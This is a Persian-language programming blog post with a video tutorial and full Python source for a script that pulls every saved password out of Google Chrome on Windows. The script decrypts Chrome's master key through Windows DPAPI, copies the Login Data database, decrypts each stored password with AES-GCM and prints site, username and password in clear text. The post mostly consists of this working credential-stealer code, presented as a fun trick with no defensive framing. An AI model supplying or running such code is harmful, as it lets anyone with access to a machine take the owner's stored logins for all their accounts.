-
جمعه, ۲۱ آبان ۱۴۰۰، ۰۶:۳۹ ب.ظ
-
۱۱۰۵
بیرون کشیدن پسوورد های ذخیره شده روی google chrome با پایتون
درود به همه !
سلام دوستان :) حالتون ؟ احوالتون ؟ اقا امروز یه دونه از اون آموزش باحالا رو داریم . میخوایم یه اسکریپتی بنویسیم که تا اجراش میکنیم بیاد بیل بزنه تمام پسوورد های ذخیره شده روی مرورگر گوگل کروم رو بریزه بالا . این ویدیو رو از دست ندین به دوستاتونم معرفی کنید :)
سورس کد نوشته شده در ویدیو اموزشی :
# https://mrpython.blog.ir # Chrome Password Extract
import json from base64 import b64decode import win32crypt import sqlite3 import shutil from Crypto.Cipher import AES
f = open("C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") local_state = json.loads(f.read())
key = local_state["os_crypt"]["encrypted_key"]
# 1 key = b64decode(key) # Base 64 Decoder key = key[5:] # 2 key = win32crypt.CryptUnprotectData(key)[1] ########################################### path = "C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" shutil.copy(path+"Login Data" , path+"database2") # Copy Database
database = sqlite3.connect(path+"database2") cursor = database.cursor()
cursor.execute("select origin_url , username_value , password_value from logins")
result = cursor.fetchall()
def decrypt(password , key): iv = password[3:15] password = password[15:] cipher = AES.new(key , AES.MODE_GCM , iv) password = cipher.decrypt(password) password = password[:-16].decode() return password
for i in result: url = i[0] username = i[1] password = decrypt(i[2] , key) print("{} : ".format(url)) print("\tusername : {}".format(username)) print("\tpassword : {}".format(password)) print()
input()
امیدوارم لذت برده باشید . برای دیدن آموزش های بیشتر ، کانال یوتیوبمون رو سابسکرایب کنید ، آپاراتمون رو دنبال کنید و عضو کانال تلگراممونم بشید .
[تصویر پست از www.techrepublic.com]
سوالی نظری بود مطرح کنید :)
یا حق !
Telegram Channel : @mrpythonblog